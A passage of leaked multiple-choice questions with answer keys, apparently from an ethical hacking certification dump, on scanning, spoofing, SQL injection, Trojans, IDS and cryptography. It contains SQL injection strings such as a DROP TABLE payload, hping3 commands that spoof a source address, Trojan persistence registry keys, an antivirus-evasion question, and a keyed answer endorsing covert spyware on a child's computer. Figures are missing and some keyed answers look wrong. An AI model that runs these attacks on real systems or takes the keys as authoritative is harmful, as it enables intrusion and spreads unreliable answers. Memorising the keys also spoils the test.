QUESTION 216
Hayden is the network security administrator for her company, a large finance firm based in Miami. Hayden
just returned from a security conference in Las Vegas where they talked about all kinds of old and new
security threats; many of which she did not know of. Hayden is worried about the current security state of
her company's network so she decides to start scanning the network from an external IP address. To see
how some of the hosts on her network react, she sends out SYN packets to an IP range. A number of IPs
responds with a SYN/ACK response. Before the connection is established she sends RST packets to those
hosts to stop the session. She does this to see how her intrusion detection system will log the traffic. What
type of scan is Hayden attempting here?
A. Hayden is attempting to find live hosts on her company's network by using an XMAS scan
B. She is utilizing a SYN scan to find live hosts that are listening on her network
C. The type of scan, she is using is called a NULL scan
D. Hayden is using a half-open scan to find live hosts on her network
Correct Answer: D



:
QUESTION 217
Web servers are often the most targeted and attacked hosts on organizations' networks. Attackers may
exploit software bugs in the Web server, underlying operating system, or active content to gain
unauthorized access.
124

Identify the correct statement related to the above Web Server installation?
A. Lack of proper security policy, procedures and maintenance
B. Bugs in server software, OS and web applications
C. Installing the server with default settings
D. Unpatched security flaws in the server software, OS and applications
Correct Answer: C



:
QUESTION 218
If an attacker's computer sends an IPID of 24333 to a zombie (Idle Scanning) computer on a closed port,
what will be the response?
A. The zombie computer will respond with an IPID of 24334.
B. The zombie computer will respond with an IPID of 24333.
C. The zombie computer will not send a response.
D. The zombie computer will respond with an IPID of 24335.
Correct Answer: A



:
125

QUESTION 219
Jacob is looking through a traffic log that was captured using Wireshark. Jacob has come across what
appears to be SYN requests to an internal computer from a spoofed IP address. What is Jacob seeing
here?
A. Jacob is seeing a Smurf attack.
B. Jacob is seeing a SYN flood.
C. He is seeing a SYN/ACK attack.
D. He has found evidence of an ACK flood.
Correct Answer: B



:
QUESTION 220
Which of the following Registry location does a Trojan add entries to make it persistent on Windows 7?
(Select 2 answers)
A. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
B. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\System32\CurrentVersion\ Run
C. HKEY_CURRENT_USER\Software\Microsoft\Windows\System32\CurrentVersion\Run
D. HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run "Pass Any Exam. Any
Time." - www.actualtests.com 126

Correct Answer: AD



:
QUESTION 221
Perimeter testing means determining exactly what your firewall blocks and what it allows. To conduct a
good test, you can spoof source IP addresses and source ports. Which of the following command results in
packets that will appear to originate from the system at 10.8.8.8? Such a packet is useful for determining
whether the firewall is allowing random packets in or out of your network.
A. hping3 -T 10.8.8.8 -S netbios -c 2 -p 80
B. hping3 -Y 10.8.8.8 -S windows -c 2 -p 80
C. hping3 -O 10.8.8.8 -S server -c 2 -p 80
D. hping3 -a 10.8.8.8 -S springfield -c 2 -p 80
Correct Answer: D



:
QUESTION 222
The GET method should never be used when sensitive data such as credit card is being sent to a CGI
program. This is because any GET command will appear in the URL, and will be logged by any servers. For
example, let's say that you've entered your credit card information into a form that uses the GET method.
The URL may appear like this:
https://www.xsecurity-bank.com/creditcard.asp?cardnumber=453453433532234
The GET method appends the credit card number to the URL. This means that anyone with access to a
server log will be able to obtain this information. How would you protect from this type of attack?
A. Never include sensitive information in a script
B. Use HTTPS SSLv3 to send the data instead of plain HTTPS
C. Replace the GET with POST method when sending data
D. Encrypt the data before you send using GET method
Correct Answer: C



:
127

QUESTION 223
Keystroke logging is the action of tracking (or logging) the keys struck on a keyboard, typically in a covert
manner so that the person using the keyboard is unaware that their actions are being monitored.

How will you defend against hardware keyloggers when using public computers and Internet
128

Kiosks? (Select 4 answers)
A. Alternate between typing the login credentials and typing characters somewhere else in the focus
window
B. Type a wrong password first, later type the correct password on the login page defeating the keylogger
recording
C. Type a password beginning with the last letter and then using the mouse to move the cursor for each
subsequent letter.
D. The next key typed replaces selected text portion. E.g. if the password is "secret", one could type "s",
then some dummy keys "asdfsd".
Then these dummies could be selected with mouse, and next character from the password "e" is typed,
which replaces the dummies
"asdfsd"
E. The next key typed replaces selected text portion. E.g. if the password is "secret", one could type "s",
then some dummy keys "asdfsd".
Then these dummies could be selected with mouse, and next character from the password "e" is typed,
which replaces the dummies
"asdfsd"
Correct Answer: ACDE



:
QUESTION 224
Lauren is performing a network audit for her entire company. The entire network is comprised of around
500 computers. Lauren starts an ICMP ping sweep by sending one IP packet to the broadcast address of
the network, but only receives responses from around five hosts. Why did this ping sweep only produce a
few responses?
A. Only Windows systems will reply to this scan.
B. A switched network will not respond to packets sent to the broadcast address.
C. Only Linux and Unix-like (Non-Windows) systems will reply to this scan.
D. Only servers will reply to this scan.
Correct Answer: C



:
QUESTION 225
Wayne is the senior security analyst for his company. Wayne is examining some traffic logs on a server and
came across some inconsistencies. Wayne finds some IP packets from a computer
129

purporting to be on the internal network. The packets originate from 192.168.12.35 with a TTL of
15. The server replied to this computer and received a response from 192.168.12.35 with a TTL of
21. What can Wayne infer from this traffic log?
A. The initial traffic from 192.168.12.35 was being spoofed.
B. The traffic from 192.168.12.25 is from a Linux computer.
C. The TTL of 21 means that the client computer is on wireless.
D. The client computer at 192.168.12.35 is a zombie computer.
Correct Answer: A



:
QUESTION 226
What type of port scan is shown below?
A. Idle Scan
B. Windows Scan
C. XMAS Scan
D. SYN Stealth Scan
Correct Answer: C



:
QUESTION 227
Here is the ASCII Sheet.
130


You want to guess the DBO username juggyboy (8 characters) using Blind SQL Injection technique.
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What is the correct syntax?
A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: A



:
QUESTION 228
How do you defend against ARP Poisoning attack? (Select 2 answers)
132

A. Enable DHCP Snooping Binding Table
B. Restrict ARP Duplicates
C. Enable Dynamic ARP Inspection
D. Enable MAC snooping Table
Correct Answer: AC



:
QUESTION 229
You are the security administrator for a large network. You want to prevent attackers from running any sort
of traceroute into your DMZ and discovering the internal structure of publicly accessible areas of the
network. How can you achieve this?
A. There is no way to completely block tracerouting into this area
B. Block UDP at the firewall
C. Block TCP at the firewall
D. Block ICMP at the firewall
Correct Answer: A



:
QUESTION 230
133

Neil is an IT security consultant working on contract for Davidson Avionics. Neil has been hired to audit the
network of Davidson Avionics. He has been given permission to perform any tests necessary. Neil has
created a fake company ID badge and uniform. Neil waits by one of the company's entrance doors and
follows an employee into the office after they use their valid access card to gain entrance. What type of
social engineering attack has Neil employed here?
A. Neil has used a tailgating social engineering attack to gain access to the offices
B. He has used a piggybacking technique to gain unauthorized access
C. This type of social engineering attack is called man trapping
D. Neil is using the technique of reverse social engineering to gain access to the offices of Davidson
Avionics
Correct Answer: A



:
QUESTION 231
After a client sends a connection request (SYN) packet to the server, the server will respond (SYN-ACK)
with a sequence number of its choosing, which then must be acknowledged (ACK) by the client. This
sequence number is predictable; the attack connects to a service first with its own IP address, records the
sequence number chosen, and then opens a second connection from a forged IP address. The attack
doesn't see the SYN-ACK (or any other packet) from the server, but can guess the correct responses. If the
source IP address is used for authentication, then the attacker can use the one-sided communication to
break into the server. What attacks can you successfully launch against a server using the above
technique?
A. Denial of Service attacks
B. Session Hijacking attacks
C. Web page defacement attacks
D. IP spoofing attacks
Correct Answer: B



:
QUESTION 232
Which of the following represent weak password? (Select 2 answers)
A. Passwords that contain letters, special characters, and numbers ExamplE. ap1$%##f@52
B. Passwords that contain only numbers ExamplE. 23698217
C. Passwords that contain only special characters ExamplE. &*#@!(%)
D. Passwords that contain letters and numbers ExamplE. meerdfget123 "Pass Any Exam. Any Time." -
www.actualtests.com 134

E. Passwords that contain only letters ExamplE. QWERTYKLRTY
F. Passwords that contain only special characters and numbers ExamplE. 123@$45
G. Passwords that contain only letters and special characters ExamplE. bob@&ba
H. Passwords that contain Uppercase/Lowercase from a dictionary list ExamplE. OrAnGe
Correct Answer: EH



:
QUESTION 233
Harold just got home from working at Henderson LLC where he works as an IT technician. He was able to
get off early because they were not too busy. When he walks into his home office, he notices his teenage
daughter on the computer, apparently chatting with someone online. As soon as she hears Harold enter the
room, she closes all her windows and tries to act like she was playing a game. When Harold asks her what
she was doing, she acts very nervous and does not give him a straight answer. Harold is very concerned
because he does not want his daughter to fall victim to online predators and the sort. Harold doesn't
necessarily want to install any programs that will restrict the sites his daughter goes to, because he doesn't
want to alert her to his trying to figure out what she is doing. Harold wants to use some kind of program that
will track her activities online, and send Harold an email of her activity once a day so he can see what she
has been up to. What kind of software could Harold use to accomplish this?
A. Install hardware Keylogger on her computer
B. Install screen capturing Spyware on her computer
C. Enable Remote Desktop on her computer
D. Install VNC on her computer
Correct Answer: B



:
QUESTION 234
You are performing a port scan with nmap. You are in hurry and conducting the scans at the fastest
possible speed. However, you don't want to sacrifice reliability for speed. If stealth is not an issue, what type
of scan should you run to get very reliable results?
A. Stealth scan
B. Connect scan
C. Fragmented packet scan
D. XMAS scan
135

Correct Answer: B



:
QUESTION 235
Blane is a security analyst for a law firm. One of the lawyers needs to send out an email to a client but he
wants to know if the email is forwarded on to any other recipients. The client is explicitly asked not to resend
the email since that would be a violation of the lawyer's and client's agreement for this particular case.
What can Blane use to accomplish this?
A. He can use a split-DNS service to ensure the email is not forwarded on.
B. A service such as HTTrack would accomplish this.
C. Blane could use MetaGoofil tracking tool.
D. Blane can use a service such as ReadNotify tracking tool.
Correct Answer: D



:
QUESTION 236
You ping a target IP to check if the host is up. You do not get a response. You suspect ICMP is blocked at
the firewall. Next you use hping2 tool to ping the target host and you get a response. Why does the host
respond to hping2 and not ping packet?
A. Ping packets cannot bypass firewalls
B. You must use ping 10.2.3.4 switch
C. Hping2 uses stealth TCP packets to connect
136

D. Hping2 uses TCP instead of ICMP by default
Correct Answer: D



:
QUESTION 237
John is the network administrator of XSECURITY systems. His network was recently compromised. He
analyzes the log files to investigate the attack. Take a look at the following Linux log file snippet. The hacker
compromised and "owned" a Linux machine. What is the hacker trying to accomplish here?
A. The hacker is attempting to compromise more machines on the network
B. The hacker is planting a rootkit
C. The hacker is running a buffer overflow exploit to lock down the system
D. The hacker is trying to cover his tracks
Correct Answer: D



:
QUESTION 238
Blake is in charge of securing all 20 of his company's servers. He has enabled hardware and software
firewalls, hardened the operating systems, and disabled all unnecessary services on all the servers.
Unfortunately, there is proprietary AS400 emulation software that must run on one of the servers that
requires the telnet service to function properly. Blake is especially concerned about this since telnet can be
a very large security risk in an organization. Blake is concerned
137

about how this particular server might look to an outside attacker so he decides to perform some
footprinting, scanning, and penetration tests on the server. Blake telnets into the server using Port 80 and
types in the following command:
HEAD / HTTP/1.0
After pressing enter twice, Blake gets the following results: What has Blake just accomplished?
A. Downloaded a file to his local computer
B. Submitted a remote command to crash the server
C. Poisoned the local DNS cache of the server
D. Grabbed the Operating System banner
Correct Answer: D



:
QUESTION 239
You want to perform advanced SQL Injection attack against a vulnerable website. You are unable to
perform command shell hacks on this server. What must be enabled in SQL Server to launch these
attacks?
A. System services
B. EXEC master access
C. xp_cmdshell
D. RDC
Correct Answer: C



138

:
QUESTION 240
Kevin is an IT security analyst working for Emerson Time Makers, a watch manufacturing company in
Miami. Kevin and his girlfriend Katy recently broke up after a big fight. Kevin believes that she was seeing
another person. Kevin, who has an online email account that he uses for most of his mail, knows that Katy
has an account with that same company. Kevin logs into his email account online and gets the following
URL after successfully logged in:
http://www.youremailhere.com/mail.asp?mailbox=Kevin&Smith=121%22 Kevin changes the URL
to: http://www.youremailhere.com/mail.asp?mailbox=Katy&Sanchez=121%22 Kevin is trying to access her
email account to see if he can find out any information. What is Kevin attempting here to gain access to
Katy's mailbox?
A. This type of attempt is called URL obfuscation when someone manually changes a URL to try and gain
unauthorized access
B. By changing the mailbox's name in the URL, Kevin is attempting directory transversal
C. Kevin is trying to utilize query string manipulation to gain access to her email account
D. He is attempting a path-string attack to gain access to her mailbox
Correct Answer: C



:
QUESTION 241
A majority of attacks come from insiders, people who have direct access to a company's computer system
as part of their job function or a business relationship. Who is considered an insider?
A. A competitor to the company because they can directly benefit from the publicity generated by making
such an attack
B. Disgruntled employee, customers, suppliers, vendors, business partners, contractors, temps, and
consultants
C. The CEO of the company because he has access to all of the computer systems
D. A government agency since they know the company's computer system strengths and weaknesses
Correct Answer: B



:
139

QUESTION 242
Jeremy is web security consultant for Information Securitas. Jeremy has just been hired to perform contract
work for a large state agency in Michigan. Jeremy's first task is to scan all the company's external websites.
Jeremy comes upon a login page which appears to allow employees access to sensitive areas on the
website. James types in the following statement in the username field:
SELECT * from Users where username='admin' ?AND password='' AND email like '%@testers.com%'
What will the SQL statement accomplish?
A. If the page is susceptible to SQL injection, it will look in the Users table for usernames of admin
B. This statement will look for users with the name of admin, blank passwords, and email addresses that
end in @testers.com
C. This Select SQL statement will log James in if there are any users with NULL passwords
D. James will be able to see if there are any default user accounts in the SQL database
Correct Answer: B



:
This query will search for admin user with blank password with mail address @testers.com
QUESTION 243
An attacker is attempting to telnet into a corporation's system in the DMZ. The attacker doesn't want to get
caught and is spoofing his IP address. After numerous tries he remains unsuccessful in connecting to the
system. The attacker rechecks that the target system is actually listening on Port 23 and he verifies it with
both nmap and hping2. He is still unable to connect to the target system. What could be the reason?
A. The firewall is blocking port 23 to that system
B. He needs to use an automated tool to telnet in
C. He cannot spoof his IP and successfully use TCP
D. He is attacking an operating system that does not reply to telnet even when open
Correct Answer: C



:
140

QUESTION 244
If an attacker's computer sends an IPID of 31400 to a zombie (Idle Scanning) computer on an open port,
what will be the response?
A. 31400
B. 31402
C. The zombie will not send a response
D. 31401
Correct Answer: B



:
31402 is the correct answer.
QUESTION 245
Trojan horse attacks pose one of the most serious threats to computer security. The image below shows
different ways a Trojan can get into a system. Which are the easiest and most convincing ways to infect a
computer?
A. IRC (Internet Relay Chat)
B. Legitimate "shrink-wrapped" software packaged by a disgruntled employee
C. NetBIOS (File Sharing)
D. Downloading files, games and screensavers from Internet sites
Correct Answer: B



:
141

QUESTION 246
SSL has been seen as the solution to a lot of common security problems. Administrator will often time
make use of SSL to encrypt communications from points A to point B. Why do you think this could be a bad
idea if there is an Intrusion Detection System deployed to monitor the traffic between point A and B?
A. SSL is redundant if you already have IDS's in place
B. SSL will trigger rules at regular interval and force the administrator to turn them off
C. SSL will slow down the IDS while it is breaking the encryption to see the packet content
D. SSL will blind the content of the packet and Intrusion Detection Systems will not be able to detect them
Correct Answer: D



:
QUESTION 247
Jake is a network administrator who needs to get reports from all the computer and network devices on his
network. Jake wants to use SNMP but is afraid that won't be secure since passwords and messages are in
clear text. How can Jake gather network information in a secure manner?
A. He can use SNMPv3
B. Jake can use SNMPrev5
C. He can use SecWMI
D. Jake can use SecSNMP
Correct Answer: A



:
QUESTION 248
June, a security analyst, understands that a polymorphic virus has the ability to mutate and can change its
known viral signature and hide from signature-based antivirus programs. Can June use an antivirus
program in this case and would it be effective against a polymorphic virus?
142

A. Yes. June can use an antivirus program since it compares the parity bit of executable files to the
database of known check sum counts and it is effective on a polymorphic virus
B. Yes. June can use an antivirus program since it compares the signatures of executable files to the
database of known viral signatures and it is very effective against a polymorphic virus
C. No. June can't use an antivirus program since it compares the signatures of executable files to the
database of known viral signatures and in the case the polymorphic viruses cannot be detected by a
signature-based anti-virus program
D. No. June can't use an antivirus program since it compares the size of executable files to the database of
known viral signatures and it is effective on a polymorphic virus
Correct Answer: C



:
QUESTION 249
Which of the following Exclusive OR transforms bits is NOT correct?
A. 0 xor 0 = 0
B. 1 xor 0 = 1
C. 1 xor 1 = 1
D. 0 xor 1 = 1
Correct Answer: C



:
QUESTION 250
The traditional traceroute sends out ICMP ECHO packets with a TTL of one, and increments the TTL until
the destination has been reached. By printing the gateways that generate ICMP time exceeded messages
along the way, it is able to determine the path packets take to reach the destination.
The problem is that with the widespread use of firewalls on the Internet today, many of the packets that
traceroute sends out end up being filtered, making it impossible to completely trace the path to the
destination.
143

How would you overcome the Firewall restriction on ICMP ECHO packets?
A. Firewalls will permit inbound TCP packets to specific ports that hosts sitting behind the firewall are
listening for connections. By sending out TCP SYN packets instead of ICMP ECHO packets, traceroute
can bypass the most common firewall filters.
B. Firewalls will permit inbound UDP packets to specific ports that hosts sitting behind the firewall are
listening for connections. By sending out TCP SYN packets instead of ICMP ECHO packets, traceroute
can bypass the most common firewall filters.
C. Firewalls will permit inbound UDP packets to specific ports that hosts sitting behind the firewall are
listening for connections. By sending out TCP SYN packets instead of ICMP ECHO packets, traceroute
can bypass the most common firewall filters.
D. Do not use traceroute command to determine the path packets take to reach the destination instead use
the custom hacking tool JOHNTHETRACER and run with the command
E. \> JOHNTHETRACER www.eccouncil.org -F -evade
Correct Answer: A



:
144

QUESTION 251
Simon is security analyst writing signatures for a Snort node he placed internally that captures all mirrored
traffic from his border firewall. From the following signature, what will Snort look for in the payload of the
suspected packets?
alert tcp $EXTERNAL_NET any -> $HOME_NET 27374 (msG. "BACKDOOR SIG - SubSseven 22";flags: A
+; content: "|0d0a5b52504c5d3030320d0a|"; reference:arachnids,485;) alert
A. The payload of 485 is what this Snort signature will look for.
B. Snort will look for 0d0a5b52504c5d3030320d0a in the payload.
C. Packets that contain the payload of BACKDOOR SIG - SubSseven 22 will be flagged.
D. From this snort signature, packets with HOME_NET 27374 in the payload will be flagged.
Correct Answer: B



:
QUESTION 252
You are trying to package a RAT Trojan so that Anti-Virus software will not detect it. Which of the listed
technique will NOT be effective in evading Anti-Virus scanner?
A. Convert the Trojan.exe file extension to Trojan.txt disguising as text file
B. Break the Trojan into multiple smaller files and zip the individual pieces
C. Change the content of the Trojan using hex editor and modify the checksum
D. Encrypt the Trojan using multiple hashing algorithms like MD5 and SHA-1
Correct Answer: A



:
QUESTION 253
What will the following command produce on a website's login page if executed successfully? SELECT
email, passwd, login_id, full_name FROM members WHERE email = 'someone@somewhere.com'; DROP
TABLE members; --'
A. This code will insert the someone@somewhere.com email address into the members table.
B. This command will delete the entire members table.
C. It retrieves the password for the first user in the members table.
D. This command will not produce anything since the syntax is incorrect.
145

Correct Answer: B



:
QUESTION 254
Oregon Corp is fighting a litigation suit with Scamster Inc. Oregon has assigned a private investigative
agency to go through garbage, recycled paper, and other rubbish at Scamster's office site in order to find
relevant information. What would you call this kind of activity?
A. CI Gathering
B. Scanning
C. Dumpster Diving
D. Garbage Scooping
Correct Answer: C



:
QUESTION 255
What type of port scan is represented here.
A. Stealth Scan
B. Full Scan
C. XMAS Scan
D. FIN Scan
Correct Answer: A



:
QUESTION 256
One way to defeat a multi-level security solution is to leak data via
146

A. a bypass regulator.
B. steganography.
C. a covert channel.
D. asymmetric routing.
Correct Answer: C



:
QUESTION 257
On a Linux device, which of the following commands will start the Nessus client in the background so that
the Nessus server can be configured?
A. nessus +
B. nessus *s
C. nessus &
D. nessus -d
Correct Answer: C



:
QUESTION 258
Least privilege is a security concept that requires that a user is
A. limited to those functions required to do the job.
B. given root or administrative privileges.
C. trusted to keep all data and access to that data under their sole control.
D. given privileges equal to everyone else in the department.
Correct Answer: A



:
QUESTION 259
A covert channel is a channel that
A. transfers information over, within a computer system, or network that is outside of the security "Pass
Any Exam. Any Time." - www.actualtests.com 147

policy.
B. transfers information over, within a computer system, or network that is within the security policy.
C. transfers information via a communication path within a computer system, or network for transfer of
data.
D. transfers information over, within a computer system, or network that is encrypted.
Correct Answer: A



:
QUESTION 260
SOAP services use which technology to format information?
A. SATA
B. PCI
C. XML
D. ISDN
Correct Answer: C



:
QUESTION 261
A security engineer is attempting to map a company's internal network. The engineer enters in the following
NMAP commanD.
NMAP n sS P0 p 80 ***.***.**.**
What type of scan is this?
A. Quick scan
B. Intense scan
C. Stealth scan
D. Comprehensive scan
Correct Answer: C



:
148

QUESTION 262
Which of the following is a hashing algorithm?
A. MD5
B. PGP
C. DES
D. ROT13
Correct Answer: A



:
QUESTION 263
Which of the following identifies the three modes in which Snort can be configured to run?
A. Sniffer, Packet Logger, and Network Intrusion Detection System
B. Sniffer, Network Intrusion Detection System, and Host Intrusion Detection System
C. Sniffer, Host Intrusion Prevention System, and Network Intrusion Prevention System
D. Sniffer, Packet Logger, and Host Intrusion Prevention System
Correct Answer: A



:
QUESTION 264
Which of the following is a common Service Oriented Architecture (SOA) vulnerability?
A. Cross-site scripting
B. SQL injection
C. VPath injection
D. XML denial of service issues
Correct Answer: D



:
QUESTION 265
149

A company has five different subnets: 192.168.1.0, 192.168.2.0, 192.168.3.0, 192.168.4.0 and 192.168.5.0.
How can NMAP be used to scan these adjacent Class C networks?
A. NMAP -P 192.168.1-5.
B. NMAP -P 192.168.0.0/16
C. NMAP -P 192.168.1.0,2.0,3.0,4.0,5.0
D. NMAP -P 192.168.1/17
Correct Answer: A



:
QUESTION 266
Which vital role does the U.S. Computer Security Incident Response Team (CSIRT) provide?
A. Incident response services to any user, company, government agency, or organization in partnership
with the Department of Homeland Security
B. Maintenance of the nation's Internet infrastructure, builds out new Internet infrastructure, and
decommissions old Internet infrastructure
C. Registration of critical penetration testing for the Department of Homeland Security and public and
private sectors
D. Measurement of key vulnerability assessments on behalf of the Department of Defense (DOD) and
State Department, as well as private sectors
Correct Answer: A



:
QUESTION 267
When utilizing technical assessment methods to assess the security posture of a network, which of the
following techniques would be most effective in determining whether end-user security training would be
beneficial?
A. Vulnerability scanning
B. Social engineering
C. Application security testing
D. Network sniffing
Correct Answer: B



:
150

QUESTION 268
What is the broadcast address for the subnet 190.86.168.0/22?
A. 190.86.168.255
B. 190.86.255.255
C. 190.86.171.255
D. 190.86.169.255
Correct Answer: C



:
QUESTION 269
Which of the following are valid types of rootkits? (Choose three.)
A. Hypervisor level
B. Network level
C. Kernel level
D. Application level
E. Physical level
F. Data access level
Correct Answer: ACD



:
QUESTION 270
John the Ripper is a technical assessment tool used to test the weakness of which of the following?
A. Usernames
B. File permissions
C. Firewall rulesets
D. Passwords
Correct Answer: D



:
151

QUESTION 271
A company has made the decision to host their own email and basic web services. The administrator needs
to set up the external firewall to limit what protocols should be allowed to get to the public part of the
company's network. Which ports should the administrator open? (Choose three.)
A. Port 22
B. Port 23
C. Port 25
D. Port 53
E. Port 80
F. Port 139
G. Port 445
Correct Answer: CDE



:
QUESTION 272
Which type of scan measures a person's external features through a digital video camera?
A. Iris scan
B. Retinal scan
C. Facial recognition scan
D. Signature kinetics scan
Correct Answer: C



:
QUESTION 273
In order to show improvement of security over time, what must be developed?
A. Reports
B. Testing tools
C. Metrics
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D. Taxonomy of vulnerabilities
Correct Answer: C



:
QUESTION 274
In the software security development life cyle process, threat modeling occurs in which phase?
A. Design
B. Requirements
C. Verification
D. Implementation
Correct Answer: A



:
QUESTION 275
Which of the following items of a computer system will an anti-virus program scan for viruses?
A. Boot Sector
B. Deleted Files
C. Windows Process List
D. Password Protected Files
Correct Answer: A



:
QUESTION 276
Which of the following can take an arbitrary length of input and produce a message digest output of 160
bit?
A. SHA-1
B. MD5
C. HAVAL
D. MD4
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Correct Answer: A



:
QUESTION 277
A computer science student needs to fill some information into a secured Adobe PDF job application that
was received from a prospective employer. Instead of requesting a new document that allowed the forms to
be completed, the student decides to write a script that pulls passwords from a list of commonly used
passwords to try against the secured PDF until the correct password is found or the list is exhausted.
Which cryptography attack is the student attempting?
A. Man-in-the-middle attack
B. Brute-force attack
C. Dictionary attack
D. Session hijacking
Correct Answer: C



:
QUESTION 278
A hacker, who posed as a heating and air conditioning specialist, was able to install a sniffer program in a
switched environment network. Which attack could the hacker use to sniff all of the packets in the network?
A. Fraggle
B. MAC Flood
C. Smurf
D. Tear Drop
Correct Answer: B



:
QUESTION 279
Which of the following conditions must be given to allow a tester to exploit a Cross-Site Request
154

Forgery (CSRF) vulnerable web application?
A. The victim user must open the malicious link with an Internet Explorer prior to version 8.
B. The session cookies generated by the application do not have the HttpOnly flag set.
C. The victim user must open the malicious link with a Firefox prior to version 3.
D. The web application should not use random tokens.
Correct Answer: D



:
QUESTION 280
During a wireless penetration test, a tester detects an access point using WPA2 encryption. Which of the
following attacks should be used to obtain the key?
A. The tester must capture the WPA2 authentication handshake and then crack it.
B. The tester must use the tool inSSIDer to crack it using the ESSID of the network.
C. The tester cannot crack WPA2 because it is in full compliance with the IEEE 802.11i standard.
D. The tester must change the MAC address of the wireless network card and then use the AirTraf tool to
obtain the key.
Correct Answer: A



:
QUESTION 281
Which tool is used to automate SQL injections and exploit a database by forcing a given web application to
connect to another database controlled by a hacker?
A. DataThief
B. NetCat
C. Cain and Abel
D. SQLInjector
Correct Answer: A



:
QUESTION 282
155

A security analyst is performing an audit on the network to determine if there are any deviations from the
security policies in place. The analyst discovers that a user from the IT department had a dial-out modem
installed. Which security policy must the security analyst check to see if dial-out modems are allowed?
A. Firewall-management policy
B. Acceptable-use policy
C. Remote-access policy
D. Permissive policy
Correct Answer: C



:
QUESTION 283
A company is using Windows Server 2003 for its Active Directory (AD). What is the most efficient way to
crack the passwords for the AD users?
A. Perform a dictionary attack.
B. Perform a brute force attack.
C. Perform an attack with a rainbow table.
D. Perform a hybrid attack.
Correct Answer: C



:
QUESTION 284
When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following?
A. Drops the packet and moves on to the next one
B. Continues to evaluate the packet until all rules are checked
C. Stops checking rules, sends an alert, and lets the packet continue
D. Blocks the connection with the source IP address in the packet
Correct Answer: B



:
156

QUESTION 285
Passive reconnaissance involves collecting information through which of the following?
A. Social engineering
B. Network traffic sniffing
C. Man in the middle attacks
D. Publicly accessible sources
Correct Answer: D



:
QUESTION 286
During a penetration test, the tester conducts an ACK scan using NMAP against the external interface of
the DMZ firewall. NMAP reports that port 80 is unfiltered. Based on this response, which type of packet
inspection is the firewall conducting?
A. Host
B. Stateful
C. Stateless
D. Application
Correct Answer: C



:
QUESTION 287
What is the main reason the use of a stored biometric is vulnerable to an attack?
A. The digital representation of the biometric might not be unique, even if the physical characteristic is
unique.
B. Authentication using a stored biometric compares a copy to a copy instead of the original to a copy.
C. A stored biometric is no longer "something you are" and instead becomes "something you have".
D. A stored biometric can be stolen and used by an attacker to impersonate the individual identified by the
biometric.
Correct Answer: D



157

:
QUESTION 288
Which of the following types of firewall inspects only header information in network traffic?
A. Packet filter
B. Stateful inspection
C. Circuit-level gateway
D. Application-level gateway
Correct Answer: A



:
QUESTION 289
An attacker sniffs encrypted traffic from the network and is subsequently able to decrypt it. The attacker can
now use which cryptanalytic technique to attempt to discover the encryption key?
A. Birthday attack
B. Plaintext attack
C. Meet in the middle attack
D. Chosen ciphertext attack
Correct Answer: D



:
QUESTION 290
Low humidity in a data center can cause which of the following problems?
A. Heat
B. Corrosion
C. Static electricity
D. Airborne contamination
Correct Answer: C



:
158

QUESTION 291
Which of the following describes a component of Public Key Infrastructure (PKI) where a copy of a private
key is stored to provide third-party access and to facilitate recovery operations?
A. Key registry
B. Recovery agent
C. Directory
D. Key escrow
Correct Answer: D



:
QUESTION 292
Which tool would be used to collect wireless packet data?
A. NetStumbler
B. John the Ripper
C. Nessus
D. Netcat
Correct Answer: A



:
QUESTION 293
Which of the following processes evaluates the adherence of an organization to its stated security policy?
A. Vulnerability assessment
B. Penetration testing
C. Risk assessment
D. Security auditing
Correct Answer: D



:
159

QUESTION 294
Which of the following statements are true regarding N-tier architecture? (Choose two.)
A. Each layer must be able to exist on a physically independent system.
B. The N-tier architecture must have at least one logical layer.
C. Each layer should exchange information only with the layers above and below it.
D. When a layer is changed or updated, the other layers must also be recompiled or modified.
Correct Answer: AC



:
QUESTION 295
Some passwords are stored using specialized encryption algorithms known as hashes. Why is this an
appropriate method?
A. It is impossible to crack hashed user passwords unless the key used to encrypt them is obtained.
B. If a user forgets the password, it can be easily retrieved using the hash key stored by administrators.
C. Hashing is faster compared to more traditional encryption algorithms.
D. Passwords stored using hashes are non-reversible, making finding the password much more difficult.
Correct Answer: D



:
QUESTION 296
What is the main disadvantage of the scripting languages as opposed to compiled programming
languages?
A. Scripting languages are hard to learn.
B. Scripting languages are not object-oriented.
C. Scripting languages cannot be used to create graphical user interfaces.
D. Scripting languages are slower because they require an interpreter to run the code.
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Correct Answer: D



:
QUESTION 297
Which of the following are password cracking tools? (Choose three.)
A. BTCrack
B. John the Ripper
C. KerbCrack
D. Nikto
E. Cain and Abel
F. Havij
Correct Answer: BCE



:
QUESTION 298
Which of the following techniques can be used to mitigate the risk of an on-site attacker from connecting to
an unused network port and gaining full access to the network? (Choose three.)
A. Port Security
B. IPSec Encryption
C. Network Admission Control (NAC)
D. 802.1q Port Based Authentication
E. 802.1x Port Based Authentication
F. Intrusion Detection System (IDS)
Correct Answer: ACE



:
QUESTION 299
When does the Payment Card Industry Data Security Standard (PCI-DSS) require organizations to perform
external and internal penetration testing?
A. At least once a year and after any significant upgrade or modification "Pass Any Exam. Any Time." -
www.actualtests.com 161

B. At least once every three years or after any significant upgrade or modification
C. At least twice a year or after any significant upgrade or modification
D. At least once every two years and after any significant upgrade or modification
Correct Answer: A



:
QUESTION 300
Which type of antenna is used in wireless communication?
A. Omnidirectional
B. Parabolic
C. Uni-directional
D. Bi-directional
Correct Answer: A



:
Topic 4, Volume D
QUESTION 301
Employees in a company are no longer able to access Internet web sites on their computers. The network
administrator is able to successfully ping IP address of web servers on the Internet and is able to open web
sites by using an IP address in place of the URL. The administrator runs the nslookup command for www.
eccouncil.org and receives an error message stating there is no response from the server. What should the
administrator do next?
A. Configure the firewall to allow traffic on TCP ports 53 and UDP port 53.
B. Configure the firewall to allow traffic on TCP ports 80 and UDP port 443.
C. Configure the firewall to allow traffic on TCP port 53.
D. Configure the firewall to allow traffic on TCP port 8080.
Correct Answer: A



:
QUESTION 302
Which initial procedure should an ethical hacker perform after being brought into an organization?
162

A. Begin security testing.
B. Turn over deliverables.
C. Sign a formal contract with non-disclosure.
D. Assess what the organization is trying to protect.
Correct Answer: C



:
QUESTION 303
Which of the following guidelines or standards is associated with the credit card industry?
A. Control Objectives for Information and Related Technology (COBIT)
B. Sarbanes-Oxley Act (SOX)
C. Health Insurance Portability and Accountability Act (HIPAA)
D. Payment Card Industry Data Security Standards (PCI DSS)
Correct Answer: D



:
